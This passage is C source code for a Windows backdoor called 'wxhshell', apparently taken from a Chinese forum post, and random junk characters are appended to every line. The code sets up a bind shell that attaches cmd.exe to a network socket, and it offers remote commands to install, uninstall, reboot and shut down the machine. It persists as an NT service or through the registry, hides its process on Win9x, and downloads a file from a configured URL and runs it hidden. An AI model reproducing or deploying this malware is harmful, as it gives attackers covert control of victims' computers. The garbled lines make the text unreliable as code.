      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R7r` (c!  
    break; 3~ ;LNi  
  } -uIu-a]  
  // 安装 3'}(:X(  
  case 'i': {  SS[jk  
    if(Install()) zp:kdN7!^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ARGtWW~:  
    else T ]hVO'z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /X~l%Xm  
    break; {~_X-g5|]  
    } P%A;EF~ v  
  // 卸载 7#SXqyP[  
  case 'r': { y4PR&^l?g  
    if(Uninstall()) 'c*Q/C;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~,WG284  
    else _HW~sz|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); epI&R)]   
    break; @e8b'w3  
    } rG|lRT3-K  
  // 显示 wxhshell 所在路径 {?!=~vp  
  case 'p': { _dky+ E  
    char svExeFile[MAX_PATH]; ON.C%-T-  
    strcpy(svExeFile,"\n\r"); 5R\{&  
      strcat(svExeFile,ExeFile); "j;"\i0  
        send(wsh,svExeFile,strlen(svExeFile),0); b R> G%*a  
    break; 2a|9D \  
    } As }:~Jy|  
  // 重启 5ltEnvN  
  case 'b': { dQT A^m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {}kE=L5  
    if(Boot(REBOOT)) AE?MEag  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#1"(m{  
    else { Ri=:=oF(  
    closesocket(wsh); 8yij=T*  
    ExitThread(0); o@*eC L=  
    } OC34@YUj[  
    break; (KtuikJ32^  
    } _&)^a)Nu  
  // 关机 NF8'O  
  case 'd': { }'L7<_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E}LuWFZ&  
    if(Boot(SHUTDOWN)) ;rXkU9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R?MRRq  
    else { E w#UlA:"v  
    closesocket(wsh); &YC Z L  
    ExitThread(0); h_#x@p  
    } }%Mj`Bh  
    break; ix4O-o{  
    } <qJI]P  
  // 获取shell FcVQ_6  
  case 's': { P'%#B&LZo  
    CmdShell(wsh); dO]N&'P7  
    closesocket(wsh); E-gI'qG\(  
    ExitThread(0); {w:*t)@j  
    break; U4)x"s[CP  
  } <LL+\kfTZO  
  // 退出 Sk7l&B  
  case 'x': { nb-]fa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8_ byS<b8  
    CloseIt(wsh); 5:y\ejU  
    break; S:2M9nC  
    } _=0%3Sh  
  // 离开 )45~YDS;t  
  case 'q': { >f+qImH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NZT2ni4  
    closesocket(wsh); WV5z~[  
    WSACleanup(); #J=^CE  
    exit(1); 4SRjF$Bsz  
    break; eb1WTK@  
        } ?.Iau/  
  } QA|87alh  
  } Qp>'V<%m-  
1i=lJmr  
  // 提示信息 4`E[ WE:Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t&|M@Ouet  
} ~-2%^ovB  
  } QIl=Ho"c  
]hE%Tk-  
  return; 5SV w71 *  
} 03N|@Tu  
C_> WU   
// shell模块句柄 m q#8 [D  
int CmdShell(SOCKET sock) ~dc o  
{ 9;2{=,  
STARTUPINFO si; hA=.${uIO  
ZeroMemory(&si,sizeof(si)); zXX =WH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kXW5bR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CE,0@%6F*  
PROCESS_INFORMATION ProcessInfo; t =LIkwD  
char cmdline[]="cmd"; !m]_tB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7sypU1V6  
  return 0; ]bcAbCZ@  
} up_Qv#`Q  
+"}#4  
// 自身启动模式 B`{7-Asc1  
int StartFromService(void) Oq3aboAt  
{ D[jPz0  
typedef struct \B/!}Tn;  
{ ,8.Fd|#L  
  DWORD ExitStatus; 813t=A  
  DWORD PebBaseAddress; Rtywi}VV2  
  DWORD AffinityMask;  N>V\  
  DWORD BasePriority; ,zF^^,lO7  
  ULONG UniqueProcessId; Cx~,wk;=  
  ULONG InheritedFromUniqueProcessId; A4K8DP  
}   PROCESS_BASIC_INFORMATION; y26?>.!  
gn-@OmIs  
PROCNTQSIP NtQueryInformationProcess; 0*J},#ba$  
1&Z#$iD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ] 6Y6q])Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; idzc4jR6BT  
fEJF3<UF&  
  HANDLE             hProcess; y':JUwUN  
  PROCESS_BASIC_INFORMATION pbi; E+Eug{+  
>DM^/EAG{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iQd,xr  
  if(NULL == hInst ) return 0; ^7Z#g0{^w  
2I[(UMI$7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z:1"d R   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =|+%^)E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  K P@bz  
\d)HwO  
  if (!NtQueryInformationProcess) return 0; R6cd;| fan  
Mq~g+` '  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U{C& R&z  
  if(!hProcess) return 0; }Y~<|vZ  
<nvzNXql  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D4OJin^}  
-3GlpC22  
  CloseHandle(hProcess); q2+`a;_S  
MA1y@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fphi['X   
if(hProcess==NULL) return 0; /OD@Xl];K  
MV.&GUez{  
HMODULE hMod; #1)#W6 h\  
char procName[255]; 4`Ib wg6"B  
unsigned long cbNeeded; V=d~}PJ>  
~'#yH#o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A)9F_;BY  
`g+Kv&546  
  CloseHandle(hProcess); rtxG-a56Q  
2F&VG|"  
if(strstr(procName,"services")) return 1; // 以服务启动 9Zj9e  
jp+s[rRc\{  
  return 0; // 注册表启动 4k_y;$4WN  
} % <1&\5f<5  
g0-~ %A,  
// 主模块 <Z j>}  
int StartWxhshell(LPSTR lpCmdLine) bHRRgR`,  
{ %#7 ]  
  SOCKET wsl; "}Oj N\  
BOOL val=TRUE; y9U*E80q{  
  int port=0; Ghf/IXq#  
  struct sockaddr_in door; ~ugyUpY"  
aY8QYK ;?^  
  if(wscfg.ws_autoins) Install(); /Ue_1Efa  
3D-VePM=`  
port=atoi(lpCmdLine); &gdhq~4#  
7Z< 2`&c7  
if(port<=0) port=wscfg.ws_port; 2n3!p Z8  
]KM3G  
  WSADATA data; RI2/hrW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =#T3p9  
GdVrl[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YH,u*.I^/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g1{2E<b 5  
  door.sin_family = AF_INET; rM0Idc.$&&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nV/;yl4e{  
  door.sin_port = htons(port); m;cgX#k5  
fq?MnWc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =))VxuoN  
closesocket(wsl); (DQ ]58&  
return 1; miUjpXt  
} -uei nd]  
P,<pG[^K  
  if(listen(wsl,2) == INVALID_SOCKET) { * "d['V3  
closesocket(wsl); ~.$ca.Gf  
return 1; Yn5a4  
} ;;  ?OS  
  Wxhshell(wsl); %~I%*=o[  
  WSACleanup(); z3p TdUt  
8 3Tv-X  
return 0; r7+Ytr  
VmON}bb[zz  
} MlV3qM@  
GK&R,q5}  
// 以NT服务方式启动 R4%}IT^%P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )mu[ye"p  
{ BIxjY!!"  
DWORD   status = 0; m\f}?t  
  DWORD   specificError = 0xfffffff; SnVb D<  
~o27~R ]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VXO.S)v2J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]sD lZJX<M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O ]!/fZ;(  
  serviceStatus.dwWin32ExitCode     = 0; :yFmCLZaQ  
  serviceStatus.dwServiceSpecificExitCode = 0; l.uW>AoLh  
  serviceStatus.dwCheckPoint       = 0; m't8\fo^w  
  serviceStatus.dwWaitHint       = 0; rm%MQmF  
534DAhpD=.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZC97Z sE  
  if (hServiceStatusHandle==0) return; 7|DPevrk  
[5-3PuT&9  
status = GetLastError(); $T7(AohR  
  if (status!=NO_ERROR) mvu$  
{ y4%[^g~-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,56objaE  
    serviceStatus.dwCheckPoint       = 0; `Y,<[ Lnr  
    serviceStatus.dwWaitHint       = 0; ~j yl  
    serviceStatus.dwWin32ExitCode     = status; \hD jZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; xM_+vN *(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yan,Bt{YJ  
    return; d`3>@*NR<  
  } $D m|ol.Z  
h3Y|0-D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {ewo-dva  
  serviceStatus.dwCheckPoint       = 0; \t ^9UN  
  serviceStatus.dwWaitHint       = 0; jJ3dZ<#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t_hr${  
} Q\ pI\]p:  
Z$y~:bz  
// 处理NT服务事件,比如:启动、停止 $O9,Gvnxx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FvVM}l'  
{ % U|4%P  
switch(fdwControl) [orS-H7^  
{ fzr0dcNgM  
case SERVICE_CONTROL_STOP: "H|hN  
  serviceStatus.dwWin32ExitCode = 0; lNx:_g:SrZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *n_7~ZX  
  serviceStatus.dwCheckPoint   = 0; J0 UF(  
  serviceStatus.dwWaitHint     = 0; Vi>`g{\  
  { <KrfM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b,lIndj#  
  } 8F/JOtkGMt  
  return; m^KK #Hw/`  
case SERVICE_CONTROL_PAUSE: 2`pg0ciX (  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MX s]3M  
  break; I` q"  
case SERVICE_CONTROL_CONTINUE: O~c\+~5M*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eT@, QA(3  
  break; )KKmV6>b  
case SERVICE_CONTROL_INTERROGATE: B`?5G\7L  
  break; v4VP7h6uD)  
}; z K6'wL!!I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y(R .e7]  
} !h>aP4ofT  
sEx`9_oZ  
// 标准应用程序主函数 =6xxZy[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wY*tq{7  
{ aK]H(F2#  
"p"~fN /I9  
// 获取操作系统版本  lx&;?QQ  
OsIsNt=GetOsVer(); u .,l_D_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I5#zo,9  
NU%<Ws=  
  // 从命令行安装 hIFfvUl  
  if(strpbrk(lpCmdLine,"iI")) Install(); : \KJw  
$kxP{0u  
  // 下载执行文件 `:kI@TPI_C  
if(wscfg.ws_downexe) { HB9|AQ4K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kB=\a(  
  WinExec(wscfg.ws_filenam,SW_HIDE); p]x9hZ  
} 5^C.}/#>F  
Yl"l|2 :  
if(!OsIsNt) { Mb'Tx  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;fZ9:WB  
HideProc(); p~17cH4~-f  
StartWxhshell(lpCmdLine); JQH>{OB  
} d7qYz7=d  
else /XXy!=1J  
  if(StartFromService()) k/ hNap'0  
  // 以服务方式启动 kGW4kuh)/q  
  StartServiceCtrlDispatcher(DispatchTable); /yFs$t >9  
else DgKe!w$  
  // 普通方式启动 6Jd.Eg ~A7  
  StartWxhshell(lpCmdLine); 17+2`@vJgM  
\pVWYx  
return 0; e#s-MK-Q  
}
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只看该作者 1 发表于: 2006-10-10
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